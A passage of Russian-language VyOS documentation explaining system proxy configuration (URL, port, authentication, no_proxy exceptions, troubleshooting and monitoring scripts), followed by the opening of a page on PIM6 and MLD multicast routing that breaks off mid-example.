5. Позволяет исключать определенные хосты из проксирования

## Конфигурация

### Базовая настройка прокси

#### Установка URL прокси-сервера

```bash
set system proxy url <proxy-url>
```

**Параметры:**
- `<proxy-url>`: URL прокси-сервера (с протоколом http:// или https://)

**Пример:**

```bash
configure
set system proxy url http://proxy.example.com
commit
save
```

#### Установка нестандартного порта

По умолчанию используется порт 80 для HTTP прокси. Для изменения порта:

```bash
set system proxy port <port-number>
```

**Параметры:**
- `<port-number>`: Номер порта (1-65535)

**Пример:**

```bash
configure
set system proxy url http://proxy.example.com
set system proxy port 8080
commit
save
```

### Аутентификация на прокси-сервере

VyOS поддерживает базовую HTTP аутентификацию согласно RFC 7617.

#### Настройка имени пользователя

```bash
set system proxy username <username>
```

**Параметры:**
- `<username>`: Имя пользователя для аутентификации

#### Настройка пароля

```bash
set system proxy password <password>
```

**Параметры:**
- `<password>`: Пароль для аутентификации

**Пример полной конфигурации с аутентификацией:**

```bash
configure
set system proxy url http://proxy.corp.local
set system proxy port 3128
set system proxy username admin
set system proxy password SecurePassword123
commit
save
```

### Исключения из проксирования (No-Proxy)

Для некоторых хостов или подсетей может потребоваться прямое подключение без использования прокси.

**Примечание:** На момент VyOS 1.4/1.5, явная команда `no-proxy` отсутствует в стандартной конфигурации, но можно использовать переменные окружения напрямую через скрипты или настроить исключения на уровне прокси-сервера.

## Примеры конфигурации

### Пример 1: Простой прокси без аутентификации

**Сценарий:** Организация использует прокси-сервер proxy.company.ru на стандартном порту 8080.

```bash
configure

# Настройка прокси-сервера
set system proxy url http://proxy.company.ru
set system proxy port 8080

# Применение конфигурации
commit
save
exit
```

**Результат:**

```bash
vyos@router:~$ env | grep -i proxy
http_proxy=http://proxy.company.ru:8080
https_proxy=http://proxy.company.ru:8080
ftp_proxy=http://proxy.company.ru:8080
```

### Пример 2: Yandex Cloud - Корпоративный прокси для обновлений

**Сценарий:** VyOS в Yandex Cloud, доступ к интернету только через корпоративный прокси-сервер с аутентификацией.

```bash
configure

# Основные параметры прокси
set system proxy url http://proxy.yandex-cloud.internal
set system proxy port 3128

# Аутентификация
set system proxy username yc-vyos-router
set system proxy password 'Yc!Pr0xy@2024'

# Применение конфигурации
commit
save
exit
```

**Проверка подключения:**

```bash
# Проверка переменных окружения
vyos@yc-router:~$ env | grep -i proxy

# Тест загрузки через прокси
vyos@yc-router:~$ curl -I https://cloud.yandex.ru
```

**Обновление образа VyOS через прокси:**

```bash
add system image https://downloads.vyos.io/rolling/current/vyos-1.5-rolling-latest.iso
```

### Пример 3: VK Cloud - Прокси с аутентификацией

**Сценарий:** VyOS в VK Cloud (Mail.ru Cloud Solutions), сегментированная сеть с обязательным прокси.

```bash
configure

# Настройка прокси VK Cloud
set system proxy url http://proxy.vkcloud.local
set system proxy port 8888

# Аутентификация пользователя
set system proxy username vk-network-admin
set system proxy password 'VKCloud$ecure2024'

# Применение и сохранение
commit
save
exit
```

**Проверка конфигурации:**

```bash
show system proxy
```

**Ожидаемый вывод:**

```
proxy {
    port 8888
    url http://proxy.vkcloud.local
    username vk-network-admin
    password ****************
}
```

### Пример 4: Многоуровневая инфраструктура

**Сценарий:** DMZ сегмент с доступом через корпоративный прокси, специфичные настройки для различных протоколов.

```bash
configure

# Прокси-сервер DMZ
set system proxy url http://dmz-proxy.corp.local
set system proxy port 8080

# Учетная запись для DMZ роутера
set system proxy username dmz-vyos-01
set system proxy password 'DmZ!R0ut3r#2024'

commit
save
exit
```

**Дополнительная настройка через переменные окружения** (в скриптах):

Создание скрипта `/config/scripts/proxy-exceptions.sh`:

```bash
#!/bin/bash
# Дополнительные настройки прокси

export no_proxy="localhost,127.0.0.1,10.0.0.0/8,192.168.0.0/16,172.16.0.0/12,.local,.corp.local"
export NO_PROXY="$no_proxy"
```

### Пример 5: HTTPS прокси с SSL

**Сценарий:** Использование HTTPS прокси-сервера с шифрованным соединением.

```bash
configure

# HTTPS прокси
set system proxy url https://secure-proxy.enterprise.com
set system proxy port 8443

# Аутентификация
set system proxy username enterprise-router
set system proxy password 'EnT3rpr!se#SSL'

commit
save
exit
```

**Важно:** При использовании самоподписанных сертификатов на прокси-сервере могут возникнуть проблемы с проверкой SSL. В таких случаях может потребоваться дополнительная настройка доверия к сертификату на уровне системы.

## Проверка конфигурации

### Просмотр текущих настроек прокси

```bash
show system proxy
```

**Пример вывода:**

```
proxy {
    port 8080
    url http://proxy.example.com
    username admin
    password ****************
}
```

### Проверка переменных окружения

```bash
env | grep -i proxy
```

**Ожидаемый вывод:**

```
http_proxy=http://admin:SecurePassword123@proxy.example.com:8080
https_proxy=http://admin:SecurePassword123@proxy.example.com:8080
ftp_proxy=http://admin:SecurePassword123@proxy.example.com:8080
```

### Тестирование подключения через прокси

#### Проверка HTTP соединения

```bash
curl -I http://example.com
```

#### Проверка HTTPS соединения

```bash
curl -I https://www.google.com
```

#### Детальная диагностика с curl

```bash
curl -v -x http://proxy.example.com:8080 https://downloads.vyos.io
```

**Параметры:**
- `-v`: Подробный вывод
- `-x`: Явное указание прокси-сервера

### Проверка работы обновлений

```bash
# Попытка загрузки образа VyOS
add system image https://downloads.vyos.io/rolling/current/vyos-1.5-rolling-latest.iso
```

Если прокси настроен корректно, загрузка начнется через указанный прокси-сервер.

## Операционные команды

### Просмотр конфигурации в режиме конфигурирования

```bash
configure
show system proxy
```

### Просмотр в формате JSON

```bash
show configuration json | jq '.system.proxy'
```

**Пример вывода:**

```json
{
  "port": "8080",
  "url": "http://proxy.example.com",
  "username": "admin"
}
```

### Экспорт конфигурации прокси

```bash
show configuration commands | grep "system proxy"
```

**Вывод:**

```
set system proxy port '8080'
set system proxy url 'http://proxy.example.com'
set system proxy username 'admin'
```

## Переменные окружения

VyOS автоматически создает следующие переменные окружения при настройке прокси:

### http_proxy

Используется для HTTP соединений.

**Формат:**
```
http_proxy=http://[username:password@]proxy-url:port
```

### https_proxy

Используется для HTTPS соединений.

**Формат:**
```
https_proxy=http://[username:password@]proxy-url:port
```

**Примечание:** Даже для HTTPS соединений часто используется протокол `http://` для самого прокси-соединения, если прокси не требует SSL.

### ftp_proxy

Используется для FTP соединений.

**Формат:**
```
ftp_proxy=http://[username:password@]proxy-url:port
```

### no_proxy

Список хостов и подсетей, которые не должны проксироваться.

**Формат:**
```
no_proxy=localhost,127.0.0.1,.local,10.0.0.0/8
```

**Примечание:** В стандартной конфигурации VyOS `no_proxy` нужно настраивать вручную через скрипты.

## Устранение неполадок

### Проблема 1: Прокси не применяется

**Симптомы:**
- Команды обновления не работают
- Переменные окружения не установлены

**Решение:**

```bash
# Проверьте статус конфигурации
show system proxy

# Убедитесь, что конфигурация закоммичена
configure
commit
save

# Перезапустите сессию
exit
```

### Проблема 2: Ошибка аутентификации 407

**Симптомы:**
```
HTTP 407 Proxy Authentication Required
```

**Решение:**

```bash
configure

# Проверьте правильность учетных данных
show system proxy

# Обновите пароль
set system proxy password 'NewPassword'
commit
save
```

### Проблема 3: Таймауты соединения

**Симптомы:**
- Долгое ожидание при попытке соединения
- Timeout errors

**Диагностика:**

```bash
# Проверьте доступность прокси-сервера
ping proxy.example.com

# Проверьте порт прокси
telnet proxy.example.com 8080

# Проверьте сетевую связность
traceroute proxy.example.com
```

**Решение:**

```bash
configure

# Убедитесь в правильности URL и порта
set system proxy url http://proxy.example.com
set system proxy port 8080

# Проверьте маршрутизацию до прокси
show ip route

commit
save
```

### Проблема 4: SSL/TLS ошибки с HTTPS прокси

**Симптомы:**
```
SSL certificate problem: self signed certificate
```

**Диагностика:**

```bash
# Проверьте сертификат прокси
openssl s_client -connect proxy.example.com:8443

# Проверьте переменные окружения
env | grep -i proxy
```

**Временное решение для тестирования:**

```bash
# Отключение проверки SSL (только для тестирования!)
curl -k https://example.com
```

**Постоянное решение:**

Добавьте сертификат прокси в доверенные:

```bash
configure

# Установите сертификат CA
set pki ca proxy-ca certificate '<base64-encoded-cert>'

commit
save
```

### Проблема 5: Некоторые сервисы не используют прокси

**Симптомы:**
- Системные команды работают через прокси
- Пользовательские скрипты игнорируют прокси

**Решение:**

Убедитесь, что скрипты наследуют переменные окружения:

```bash
#!/bin/vbash
source /etc/profile.d/vyatta-environment.sh

# Явное указание прокси
export http_proxy="http://proxy.example.com:8080"
export https_proxy="http://proxy.example.com:8080"

# Ваш код
```

### Проблема 6: Прокси блокирует внутренние ресурсы

**Симптомы:**
- Не работает доступ к внутренним серверам
- Внутренние DNS запросы идут через прокси

**Решение:**

Настройте исключения через `no_proxy`:

Создайте скрипт `/config/scripts/post-config.d/proxy-no-proxy.sh`:

```bash
#!/bin/bash

# Исключения из прокси
export no_proxy="localhost,127.0.0.1,10.0.0.0/8,192.168.0.0/16,172.16.0.0/12,.local,.internal"
export NO_PROXY="$no_proxy"

# Сохранить в профиль
cat > /etc/profile.d/no-proxy.sh << EOF
export no_proxy="$no_proxy"
export NO_PROXY="$no_proxy"
EOF
```

Сделайте скрипт исполняемым:

```bash
chmod +x /config/scripts/post-config.d/proxy-no-proxy.sh
```

## Лучшие практики

### 1. Безопасность учетных данных

**Не рекомендуется:**
```bash
set system proxy password 'password123'
```

**Рекомендуется:**
- Используйте сложные пароли
- Регулярно меняйте учетные данные
- Используйте отдельные учетные записи для каждого роутера
- Ограничьте права прокси-аккаунтов

```bash
set system proxy username vyos-router-01
set system proxy password 'C0mpl3x!P@ssw0rd#2024'
```

### 2. Документирование конфигурации

Добавляйте комментарии к конфигурации:

```bash
configure
set system proxy url http://proxy.corp.local
set system proxy port 3128

# Сохраните информацию в описании системы
set system host-name vyos-with-proxy
set system domain-name corp.local

commit comment "Configured corporate proxy for system updates"
save
```

### 3. Мониторинг и логирование

Создайте скрипт мониторинга `/config/scripts/check-proxy.sh`:

```bash
#!/bin/bash

LOGFILE="/var/log/vyos/proxy-check.log"
PROXY_HOST="proxy.corp.local"
PROXY_PORT="8080"

# Функция логирования
log() {
    echo "[$(date +'%Y-%m-%d %H:%M:%S')] $1" >> $LOGFILE
}

# Проверка доступности прокси
if timeout 5 bash -c "cat < /dev/null > /dev/tcp/$PROXY_HOST/$PROXY_PORT" 2>/dev/null; then
    log "SUCCESS: Proxy $PROXY_HOST:$PROXY_PORT is reachable"
    exit 0
else
    log "ERROR: Proxy $PROXY_HOST:$PROXY_PORT is unreachable"
    exit 1
fi
```

Сделайте скрипт исполняемым:

```bash
chmod +x /config/scripts/check-proxy.sh
```

Настройте периодическую проверку через task scheduler:

```bash
configure
set system task-scheduler task check-proxy interval 5m
set system task-scheduler task check-proxy executable path /config/scripts/check-proxy.sh
commit
save
```

### 4. Резервный прокси-сервер

Для критичных систем подготовьте альтернативную конфигурацию:

Создайте скрипт `/config/scripts/proxy-failover.sh`:

```bash
#!/bin/vbash
source /opt/vyatta/etc/functions/script-template

PRIMARY_PROXY="proxy-primary.corp.local:8080"
SECONDARY_PROXY="proxy-backup.corp.local:8080"

# Проверка primary прокси
if timeout 3 curl -s -o /dev/null -x http://$PRIMARY_PROXY http://connectivity-check.vyos.io; then
    echo "Primary proxy is working"
    configure
    set system proxy url http://proxy-primary.corp.local
    set system proxy port 8080
    commit
    exit 0
else
    echo "Primary proxy failed, switching to backup"
    configure
    set system proxy url http://proxy-backup.corp.local
    set system proxy port 8080
    commit
    save
fi
```

### 5. Тестирование после изменений

После любых изменений конфигурации прокси:

```bash
# 1. Проверьте конфигурацию
show system proxy

# 2. Проверьте переменные окружения
env | grep -i proxy

# 3. Тестовое HTTP соединение
curl -I http://connectivity-check.vyos.io

# 4. Тестовое HTTPS соединение
curl -I https://www.google.com

# 5. Попробуйте загрузить небольшой файл
curl -o /tmp/test.txt http://ipv4.download.thinkbroadband.com/5MB.zip
```

### 6. Регулярное обслуживание

Создайте чек-лист регулярного обслуживания:

**Еженедельно:**
- Проверка логов прокси `/var/log/vyos/proxy-check.log`
- Тестирование доступности прокси-сервера

**Ежемесячно:**
- Обновление паролей (при политике ротации)
- Проверка версий VyOS и доступность обновлений

**Ежеквартально:**
- Аудит конфигурации прокси
- Тестирование процедуры failover
- Обновление документации

### 7. Исключения для внутренних ресурсов

Всегда настраивайте исключения для:

```bash
# Локальные адреса
localhost, 127.0.0.1, ::1

# RFC 1918 приватные сети
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16

# Link-local
169.254.0.0/16

# Внутренние домены
.local, .internal, .corp, .lan

# Cloud metadata сервисы
169.254.169.254 (AWS, Yandex Cloud, VK Cloud)
```

### 8. Интеграция с системами мониторинга

Экспортируйте метрики для Prometheus/Grafana:

Создайте `/config/scripts/proxy-metrics.sh`:

```bash
#!/bin/bash

METRICS_FILE="/var/lib/node_exporter/textfile_collector/proxy_status.prom"
PROXY_HOST="proxy.corp.local"
PROXY_PORT="8080"

# Проверка доступности
if timeout 3 bash -c "cat < /dev/null > /dev/tcp/$PROXY_HOST/$PROXY_PORT" 2>/dev/null; then
    STATUS=1
else
    STATUS=0
fi

# Запись метрик
cat > $METRICS_FILE << EOF
# HELP vyos_proxy_status Proxy server availability (1 = up, 0 = down)
# TYPE vyos_proxy_status gauge
vyos_proxy_status{host="$PROXY_HOST",port="$PROXY_PORT"} $STATUS
EOF
```

## Взаимодействие с другими компонентами

### Обновление образов системы

При настроенном прокси команда `add system image` автоматически использует прокси:

```bash
add system image https://downloads.vyos.io/rolling/current/vyos-1.5-rolling-latest.iso
```

### Установка пакетов через apt

Если требуется установка дополнительных пакетов:

```bash
# Переменные прокси наследуются
sudo apt update
sudo apt install <package-name>
```

### Container (Podman) конфигурация

Для контейнеров может потребоваться отдельная настройка прокси:

```bash
configure

# Пример конфигурации контейнера с прокси
set container name myapp environment HTTP_PROXY value 'http://proxy.example.com:8080'
set container name myapp environment HTTPS_PROXY value 'http://proxy.example.com:8080'
set container name myapp environment NO_PROXY value 'localhost,127.0.0.1,.local'

commit
save
```

### VPN и прокси

При использовании VPN туннелей, убедитесь что трафик к прокси-серверу не идет через VPN:

```bash
configure

# Добавьте маршрут к прокси-серверу через основной gateway
set protocols static route <proxy-network>/24 next-hop <gateway-ip>

commit
save
```

## Безопасность

### Рекомендации по безопасности

1. **Шифрование паролей**: Пароли в конфигурации хранятся в зашифрованном виде
2. **Изоляция учетных записей**: Используйте отдельные учетные записи для разных роутеров
3. **Ограничение прав**: Прокси-аккаунты должны иметь минимальные необходимые права
4. **Аудит**: Логируйте все соединения через прокси на уровне прокси-сервера
5. **Мониторинг**: Отслеживайте аномальную активность

### Защита учетных данных

```bash
# После настройки прокси с паролем
configure
commit
save

# Пароль будет зашифрован в конфигурации
show system proxy
```

**Вывод:**
```
proxy {
    password ****************
    port 8080
    url http://proxy.example.com
    username admin
}
```

### Логирование доступа

На стороне прокси-сервера настройте детальное логирование для аудита:

**Squid пример:**
```
access_log /var/log/squid/access.log squid
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
auth_param basic realm VyOS Proxy Authentication
```

## Удаление конфигурации прокси

Для полного удаления настроек прокси:

```bash
configure

# Удалить всю конфигурацию прокси
delete system proxy

commit
save
exit
```

**Проверка:**

```bash
env | grep -i proxy
```

Вывод должен быть пустым после удаления конфигурации.

## Совместимость версий

### VyOS 1.4 (Sagitta LTS)

Полностью поддерживается:
- Базовая конфигурация прокси
- Аутентификация
- Переменные окружения

### VyOS 1.5 (Circinus/Current)

Полностью поддерживается:
- Все функции из 1.4
- Улучшенная обработка HTTPS прокси
- Лучшая интеграция с контейнерами

**Примечание:** Синтаксис конфигурации идентичен между версиями.

## Ссылки и ресурсы

### Официальная документация

- [VyOS System Proxy Documentation](https://docs.vyos.io/en/latest/configuration/system/proxy.html)
- [VyOS System Configuration Guide](https://docs.vyos.io/en/latest/configuration/system/index.html)

### RFC стандарты

- [RFC 7617 - HTTP Basic Authentication](https://tools.ietf.org/html/rfc7617)
- [RFC 3986 - URI Generic Syntax](https://tools.ietf.org/html/rfc3986)

### Связанные разделы документации

- [System Login](/docs/vyos/system/vyos-login/) - Управление пользователями и аутентификация
- [System Syslog](/docs/vyos/system/vyos-syslog/) - Логирование системных событий
- [Task Scheduler](/docs/vyos/system/vyos-task-scheduler/) - Автоматизация задач

## Заключение

Системный прокси в VyOS - критически важный компонент для работы в корпоративных и облачных средах с ограниченным доступом к интернету. Правильная настройка прокси обеспечивает:

- Возможность обновления системы
- Соблюдение корпоративных политик безопасности
- Централизованное управление исходящим трафиком
- Аудит и мониторинг сетевой активности

Следуйте рекомендациям по безопасности и лучшим практикам для обеспечения надежной и безопасной работы вашей сетевой инфраструктуры на базе VyOS.


---

# PIM6 - Protocol Independent Multicast для IPv6

Source: https://opennix.org/docs/vyos/routing/vyos-pim6/


PIM6 (Protocol Independent Multicast for IPv6) обеспечивает multicast маршрутизацию в IPv6 сетях, используя MLD (Multicast Listener Discovery) вместо IGMP.

## Обзор

PIM6 - версия протокола PIM для IPv6 сетей.

**Основные характеристики**:
- Multicast маршрутизация для IPv6
- Использует MLD вместо IGMP
- Поддерживает PIM-SM (Sparse Mode) и PIM-SSM (Source-Specific Multicast)
- Работает с IPv6 адресным пространством ff00::/8
- Требует конфигурации RP (Rendezvous Point) для SM режима
- Встроенная поддержка Embedded RP (RFC 3956)

**Стандарты**:
- **RFC 4601** - Protocol Independent Multicast - Sparse Mode (PIM-SM): основной стандарт
- **RFC 7761** - Protocol Independent Multicast - Sparse Mode (PIM-SM): обновление
- **RFC 3810** - Multicast Listener Discovery Version 2 (MLDv2) for IPv6
- **RFC 3956** - Embedding the Rendezvous Point (RP) Address in an IPv6 Multicast Address
- **RFC 4607** - Source-Specific Multicast for IP
- **RFC 5059** - Bootstrap Router (BSR) Mechanism for PIM

**Применение**:
- IPv6-only сети с multicast требованиями
- Современные data center с IPv6
- IoT сети на базе IPv6
- Видео конференции через IPv6
- IPTV over IPv6
- Software-defined networking (SDN) с IPv6 multicast

## PIM6 vs PIM (IPv4)

### Ключевые различия

| Характеристика | PIM (IPv4) | PIM6 (IPv6) |
|---------------|------------|-------------|
| Группы управления | IGMP | MLD |
| Адресное пространство | 224.0.0.0/4 | ff00::/8 |
| RP адрес | IPv4 | IPv6, поддержка Embedded RP |
| SSM диапазон | 232.0.0.0/8 | ff3x::/32 |
| Neighbor discovery | PIM Hello (IPv4) | PIM Hello (IPv6) |
| BSR адрес | IPv4 | IPv6 |
| Auto-RP | Доступен | Не применим |

### Общие функции

**Схожие между PIM и PIM6**:
- Алгоритм PIM-SM идентичен
- Механизм Bootstrap Router (BSR)
- Source-Specific Multicast (SSM)
- Register mechanism для новых источников
- Join/Prune сообщения
- Assert mechanism для выбора forwarder

## MLD (Multicast Listener Discovery)

### Обзор MLD

MLD - эквивалент IGMP для IPv6.

**Версии MLD**:

**MLDv1** (RFC 2710):
- Базовая функциональность
- Listener Report и Listener Done сообщения
- Any-Source Multicast (ASM)

**MLDv2** (RFC 3810):
- Source filtering (Include/Exclude)
- Source-Specific Multicast (SSM) поддержка
- Совместимость с MLDv1

### MLD Сообщения

**Multicast Listener Query**:
- Отправляется роутером для обнаружения слушателей
- General Query - для всех групп
- Multicast-Address-Specific Query - для конкретной группы
- Multicast-Address-and-Source-Specific Query - для группы и источника (MLDv2)

**Multicast Listener Report**:
- Хост сообщает о желании получать multicast трафик
- Периодические обновления

**Multicast Listener Done** (MLDv1):
- Хост покидает multicast группу
- Быстрое удаление подписки

**MLDv2 Report**:
- Расширенный Report с source filtering
- Include/Exclude режимы

### IPv6 Multicast Адреса

**Структура IPv6 multicast**: `ffXY::/8`

**X - Flags**:
- 0 = Well-known multicast
- 1 = Transient multicast

**Y - Scope**:
- 0 = Reserved
- 1 = Interface-local
- 2 = Link-local
- 4 = Admin-local
- 5 = Site-local
- 8 = Organization-local
- E = Global

**Специальные адреса**:
- **ff02::1** - All Nodes (все узлы на link)
- **ff02::2** - All Routers (все роутеры на link)
- **ff02::5** - OSPFv3 All Routers
- **ff02::6** - OSPFv3 Designated Routers
- **ff02::9** - RIPng Routers
- **ff02::d** - PIM Routers
- **ff02::16** - MLDv2 Reports destination
- **ff02::1:2** - All DHCP Servers and Relay Agents
- **ff05::1:3** - All DHCP Servers (site-local)

**SSM диапазон**: ff3x::/32 (x = scope)
- **ff3e::/32** - SSM Global scope

**Embedded RP**: ff7x:0RP0::/96
- RP адрес встроен в multicast адрес

## PIM6-SM (Sparse Mode)

### Концепция

PIM6-SM использует shared tree через Rendezvous Point (RP).

**Этапы работы**:

1. **Источник регистрируется**:
   - Designated Router (DR) источника инкапсулирует multicast пакеты в PIM Register
   - Register отправляется unicast на RP

2. **Получатели присоединяются**:
   - DR получателя отправляет PIM Join к RP
   - Строится shared tree (*, G) от получателей к RP

3. **Shortest Path Tree (SPT)**:
   - DR получателя опционально переключается на SPT (S, G)
   - Прямой путь от источника к получателю
   - Отправляет Prune к RP для (*, G)

4. **Оптимизация**:
   - SPT минимизирует задержку
   - RP разгружается после построения SPT

### RP для IPv6

**Методы конфигурации RP**:

1. **Статический RP**:
   - Ручная конфигурация на всех роутерах
   - Максимальный контроль
   - Требует синхронизации

2. **Embedded RP** (RFC 3956):
   - RP адрес встроен в multicast группу
   - Автоматическое определение RP
   - Формат: ff7x:0RP0::/96

3. **Bootstrap Router (BSR)**:
   - Динамическое распространение RP информации
   - Candidate-RP и Candidate-BSR
   - Автоматическое обновление

### Embedded RP

**Формат адреса**:
```
ff7S:0RPN:PPPP:PPPP:PPPP:PPPP:GGGG:GGGG
```

Где:
- **S** - Scope (4 бита)
- **0** - Reserved (4 бита)
- **R** - Riid (4 бита) - интерфейс RP
- **P** - Plen (8 бит) - длина префикса RP
- **N** - Network prefix (8 бит)
- **P...P** - RP IPv6 prefix (64 бита)
- **G...G** - Group ID (32 бита)

**Пример**:
```
RP адрес: 2001:db8::1
Multicast группа: ff75:0030:2001:0db8:0000:0000:0000:1234

Разбор:
ff75 - flags=7 (transient), scope=5 (site-local)
0030 - Riid=0, Plen=48 (2001:db8::/48)
2001:0db8:0000 - RP prefix
0000:0000:1234 - Group ID
```

**Преимущества**:
- Не требует ручной конфигурации RP на каждом роутере
- RP определяется автоматически из группы
- Упрощенная конфигурация

**Недостатки**:
- Ограниченная гибкость выбора RP
- Зависимость от адресной схемы

## Базовая конфигурация PIM6

### Включение PIM6 на интерфейсе

**Синтаксис**:
```
set protocols pim6 interface <interface>
```

**Пример**:
```
set protocols pim6 interface eth0
set protocols pim6 interface eth1
set protocols pim6 interface eth2

commit
save
```

**Эффект**:
- Включает PIM6 на интерфейсе
- Автоматически запускает MLD
- Отправляет/принимает PIM Hello сообщения
- Участвует в multicast маршрутизации

### Базовая PIM6-SM сеть

**Сценарий**:
- Три роутера в треугольной топологии
- Статический RP на Router2
- Multicast источник за Router1
- Получатели за Router3

**Топология**:
```
[Source] --- Router1 --- Router2 (RP) --- Router3 --- [Receivers]
             eth1         eth0  eth1     eth0  eth1
```

**Router1** (First Hop Router):
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:12::1/64
set interfaces ethernet eth1 address 2001:db8:1::1/64

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# Статический RP (должен совпадать на всех роутерах)
set protocols pim6 rp address 2001:db8:2::1

commit
save
```

**Router2** (RP):
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:12::2/64
set interfaces ethernet eth1 address 2001:db8:23::1/64
set interfaces ethernet eth2 address 2001:db8:2::1/64

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1
set protocols pim6 interface eth2

# RP на loopback или eth2
set protocols pim6 rp address 2001:db8:2::1

commit
save
```

**Router3** (Last Hop Router):
```
# Интерфейсы
set interfaces ethernet eth0 address 2001:db8:23::2/64
set interfaces ethernet eth1 address 2001:db8:3::1/64

# PIM6
set protocols pim6 interface eth0
set protocols pim6 interface eth1

# Статический RP
set protocols pim6 rp address 2001:db8:2::1

commit
save
```

### Проверка базовой конфигурации

**Проверка PIM6 интерфейсов**:
```
show ipv6 pim interface
```

Вывод:
```
Interface  State  Address            PIM Nbrs  PIM DR   DR Priority
eth0       up     2001:db8:12::1/64  1         2001:db8:12::2  1
eth1       up     2001:db8:1::1/64   0         local      1
```

**Проверка PIM6 соседей**:
```
show ipv6 pim neighbor
```

Вывод:
```
Interface  Neighbor          Uptime     Holdtime  DR Priority
eth0       2001:db8:12::2    00:15:23   105       1
```

**Проверка RP**:
```
show ipv6 pim rp-info
```

Вывод:
```
RP address       Group          Source          State
2001:db8:2::1    ff00::/8       Static          Active
```

## MLD Конфигурация

### Включение MLD на интерфейсе

MLD автоматически включается при активации PIM6, но можно настроить параметры.

**Просмотр MLD групп**:
```
show ipv6 mld groups
```

Вывод:
```
Interface        Address                    Group                   Uptime    Expires
eth1             2001:db8:3::1              ff3e::1234              00:05:23  00:04:12
eth1             2001:db8:3::1              ff05::5678              00:03:45  00:04:18
```

**Просмотр MLD интерфейсов**:
```
show ipv6 mld interface
```

Вывод:
```
Interface  State  Address            Version  Querier         Query Timer  Uptime
eth0       up     fe80::1            2        fe80::1         00:01:15     00:20:34
eth1       up     fe80::2            2        fe80::2         00:00:58     00:20:34
```

### MLD параметры

**Отключение MLD на интерфейсе**:
```
set protocols pim6 interface <interface> mld disable
```

**Применение**:
- Интерфейс участвует в PIM6, но не обрабатывает MLD
- Используется для transit интерфейсов без клиентов

**Пример**:
```
set protocols pim6 interface eth0 mld disable

commit
save
```

**Query Interval**:
```
set protocols pim6 interface <interface> mld interval <seconds>
```

**Параметры**:
- **seconds**: 1-65535 (по умолчанию 125)

**Пример**:
```
set protocols pim6 interface eth1 mld interval 60

commit
save
```

**Last Member Query Count**:
```
set protocols pim6 interface <interface> mld last-member-query-count <count>
```

**Применение**:
- Количество Group-Specific Queries после Listener Done
- Влияет на скорость удаления из группы

**Пример**:
```
set protocols pim6 interface eth1 mld last-member-query-count 2

commit
save
```

**Last Member Query Interval**:
```
set protocols pim6 interface <interface> mld last-member-query-interval <milliseconds>
```

**Параметры**:
- **milliseconds**: 100-6553500 (по умолчанию 1000)

**Пример**:
```
set protocols pim6 interface eth1 mld last-member-query-interval 500

commit
save
```

**Max Response Time**:
```
set protocols pim6 interface <interface> mld max-response-time <milliseconds>
```

**Применение**:
- Максимальное время ожидания ответа на Query
- Влияет на сходимость

**Пример**:
```
set protocols pim6 interface eth1 mld max-response-time 5000

commit
save
```

**MLD Version**:
```
set protocols pim6 interface <interface> mld version <1-2>
```

**Применение**:
- Принудительное использование MLDv1 или MLDv2
- MLDv2 требуется для SSM

**Пример**:
```
set protocols pim6 interface eth1 mld version 2

commit
save
```

### Статическое присоединение к группе

**Join группы на интерфейсе**:
```
set protocols pim6 interface <interface> mld join <multicast-address>
```

**Пример**:
```
set protocols pim6 interface eth1 mld join ff3e::1234

commit
save
```

**Применение**:
- Роутер присоединяется к группе как host
- Полезно для тестирования
- Роутер начинает получать трафик группы на этом интерфейсе

**Join с указанием источника (SSM)**:
```
set protocols pim6 interface <interface> mld join <multicast-address> source <source-address>
```

**Пример**:
```
set protocols pim6 interface eth1 mld join ff3e::5678 source 2001:db8:100::10

commit
save
```

**Применение**:
- Source-Specific Multicast
- Роутер получает только от указанного источника
- Требует MLDv2

## RP конфигурация

### Статический RP

**Конфигурация RP адреса**:
```
set protocols pim6 rp address <ipv6-address>
```

**Важно**: Конфигурация должна быть идентична на всех PIM6 роутерах в домене.

**Пример**:
```
set protocols pim6 rp address 2001:db8:100::1

commit
save
```

**Проверка**:
```
show ipv6 pim rp-info
```

Вывод:
```
RP address       Group          Source          State
2001:db8:100::1  ff00::/8       Static          Active
```

### RP для конкретных групп

**RP для диапазона групп**:
```
set protocols pim6 rp address <ipv6-address> group <prefix>
```

**Пример**:
```
set protocols pim6 rp address 2001:db8:100::1 group ff3e::/32
set protocols pim6 rp address 2001:db8:100::2 group ff05::/16

commit
save
```

**Применение**:
- Разные RP для разных групп
- Load balancing между RP
- Разделение по scope

**Проверка**:
```
show ipv6 pim rp-info
```

Вывод:
```
RP address       Group          Source          State
2001:db8:100::1  ff3e::/32      Static          Active
2001:db8:100::2  ff05::/16      Static          Active
```

### Keep-Alive Timer для RP

**Keep-Alive для (S,G) на RP**:
```
set protocols pim6 rp keep-alive-timer <seconds>
```

**Параметры**:
- **seconds**: 31-60000 (по умолчанию 185)

**Применение**:
- Время хранения (S,G) state на RP
- Влияет на сходимость при изменениях

**Пример**:
```
set protocols pim6 rp keep-alive-timer 210

commit
save
```

## BSR (Bootstrap Router) для IPv6

### Обзор BSR

BSR обеспечивает динамическое распространение RP информации.

**Компоненты**:

**Candidate-BSR (C-BSR)**:
- Роутер, участвующий в выборе BSR
- Выбирается на основе приоритета и адреса
- Распространяет RP-Set

**Candidate-RP (C-RP)**:
- Роутер, желающий быть RP
- Отправляет Candidate-RP-Advertisement на BSR
- BSR включает в RP-Set

**Bootstrap Message (BSM)**:
- Содержит RP-Set
- Распространяется через multicast ff02::d
- Flooding в PIM6 домене

### Конфигурация BSR

**Candidate-BSR**:
```
set protocols pim6 rp candidate-bsr address <ipv6-address>
set protocols pim6 rp candidate-bsr priority <priority>
```

**Параметры**:
- **address**: IPv6 адрес интерфейса
- **priority**: 0-255 (по умолчанию 0, выше = лучше)

**Пример**:
```
set protocols pim6 rp candidate-bsr address 2001:db8:100::1
set protocols pim6 rp candidate-bsr priority 100

commit
save
```

**Candidate-RP**:
```
set protocols pim6 rp candidate-rp address <ipv6-address>
set protocols pim6 rp candidate-rp priority <priority>
set protocols pim6 rp candidate-rp interval <seconds>
```

**Параметры**:
- **address**: IPv6 адрес, который будет RP
- **priority**: 0-255 (по умолчанию 192, ниже = лучше для RP)
- **interval**: 1-16383 (по умолчанию 60) - интервал отправки C-RP Advertisement

**Пример**:
```
set protocols pim6 rp candidate-rp address 2001:db8:100::1
